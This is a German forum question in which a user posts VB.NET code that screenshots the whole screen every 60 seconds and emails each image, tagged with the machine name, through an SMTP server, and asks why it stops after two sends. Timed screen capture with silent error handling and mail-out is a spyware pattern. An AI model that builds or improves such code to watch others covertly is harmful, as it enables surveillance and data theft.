hi,
ich hab vb 2010 und versuche gerade, ein programm zu machen, das alle 60s ein screenshot macht und ihn per mail versendet. so weit bin ich bisher:
Das funktioniert aber nur fast, da es nur am anfang nach jeweils 1 minute ein screenshot verschickt. das macht es immer genau 2 mal und dann läuft es zwar noch, macht aber nichts mehr. woran könnte das liegen und was hab ich falsch gemacht?
Bitte immer die entsprechenden Code-Tags verwenden.
Gruss mikeb69
ich hab vb 2010 und versuche gerade, ein programm zu machen, das alle 60s ein screenshot macht und ihn per mail versendet. so weit bin ich bisher:
VB.NET-Quellcode
- Public Class Form1
- Dim append As String
- Dim zeit As Byte
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- Timer1.Start()
- zeit = 1
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
- Dim bounds As Rectangle
- Dim screenshot As System.Drawing.Bitmap
- Dim graph As Graphics
- bounds = Screen.PrimaryScreen.Bounds
- screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppPArgb)
- graph = Graphics.FromImage(screenshot)
- graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
- PictureBox1.ResetText()
- PictureBox1.Image = screenshot
- PictureBox1.Update()
- TextBox1.Clear()
- TextBox1.Text = zeit
- TextBox1.Update()
- Try
- System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Templates) & TextBox1.Text + ".jpg")
- Catch es As FileNotFoundException
- Catch ex As Exception
- End Try
- Me.PictureBox1.Image.Save(Environment.GetFolderPath(Environment.SpecialFolder.Templates) & TextBox1.Text + ".jpg")
- Try
- Dim mail As New Net.Mail.MailMessage()
- Dim SmtpServer As New Net.Mail.SmtpClient
- Dim attachment As New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.Templates) & TextBox1.Text + ".jpg")
- SmtpServer.Credentials = New Net.NetworkCredential("benutzername", "pw")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.web.de"
- SmtpServer.EnableSsl = True
- mail.To.Add("mailadresse")
- mail.From = New Net.Mail.MailAddress("mailadresse")
- mail.Subject = System.Environment.MachineName + " " + User
- mail.Body = "test"
- mail.Attachments.Add(attachment)
- SmtpServer.Send(mail)
- Catch ex As UnauthorizedAccessException
- Catch ex As Exception
- End Try
- zeit = zeit + 1
- End Sub
Das funktioniert aber nur fast, da es nur am anfang nach jeweils 1 minute ein screenshot verschickt. das macht es immer genau 2 mal und dann läuft es zwar noch, macht aber nichts mehr. woran könnte das liegen und was hab ich falsch gemacht?
Bitte immer die entsprechenden Code-Tags verwenden.
Gruss mikeb69
Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „mikeb69“ ()